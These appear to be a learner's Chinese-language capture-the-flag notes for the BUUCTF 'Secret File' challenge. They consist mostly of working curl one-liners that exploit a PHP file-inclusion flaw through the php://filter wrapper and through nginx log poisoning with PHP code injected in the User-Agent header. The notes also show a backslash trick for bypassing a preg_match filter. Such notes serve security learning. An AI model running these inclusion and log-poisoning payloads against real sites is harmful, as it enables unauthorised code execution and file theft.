绕过preg-match对flag过滤可以用\绕过,flag等同于f\l\a\gpreg绕过
BUUCTF-[极客大挑战 2019]Secret File1--好像可以用中国蚂剑--之后再搞
第一种:伪协议,一键获得
curl "http://fe888d52-46a9-4eb7-81e1-2ea5496cc3ac.node4.buuoj.cn:81/secr3t.php" --get --data "file=php://filter/read=convert.base64-encode/resource=flag.php"
第二种日志上传漏洞 日志上传漏洞的本质,好像是一句话木马。首先确认是什么服务器,可以输入1.php
然后
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
这些目录里面记录了我们访问过的日志(哪怕是错误访问)那么,我们就想要执行这些文件
当访问一个不存在的资源时,Apache日志同样会记录 例如访问http://127.0.0.1/<?php phpinfo();?>。Apache会记录请求“<?php phpinfo();?>”,并写到access.log文件中,这时候去包含access.log就可以利用包含漏洞
但并不能直接利用,原因是直接访问URL后,一句话木马在日志文件中被编码了 需要通过burpsuite拦截直接访问http://127.0.0.1/<?php phpinfo();?>
先访问一次/var/log/nginx/access.log,确认能不能有日志上传漏洞,发现页面有显示,接下来就要在日志中输入错误
然后再post
最后在源代码找到flag-qwq
curl一键获得 get上传
curl "http://fe888d52-46a9-4eb7-81e1-2ea5496cc3ac.node4.buuoj.cn:81/secr3t.php?file=/var/log/nginx/access.log" --user-agent "<?php echo file_get_contents('flag.php')?>"
curl "http://cb91b2a3-ac7c-4ed3-8a34-0e779ce95ea1.node4.buuoj.cn:81/secr3t.php?file=/var/log/nginx/access.log" --user-agent "<?php echo file_get_contents('flag.php')?>" -s -o output.txt && findstr /R "flag{.*}" output.txt
改良版本
linux版本
curl 'http://4be38139-6ca1-4224-beb5-5266884e017e.node4.buuoj.cn:81/secr3t.php?file=/var/log/nginx/access.log' --user-agent "<?php echo file_get_contents('flag.php')?>" -s | grep '$flag' | uniq | sed 's/.*\(flag{.*}\).*/\1/'
curl 'http://4be38139-6ca1-4224-beb5-5266884e017e.node4.buuoj.cn:81/secr3t.php' --get --data 'file=php://filter/read=convert.base64-encode/resource=flag.php' -s | grep '</html>' | sed -n "s/.*>\([A-Za-z0-9+/]\+=\).*/\1/p" | base64 -d | grep flag | sed -n 's/.*\(flag{.*}\).*/\1/p'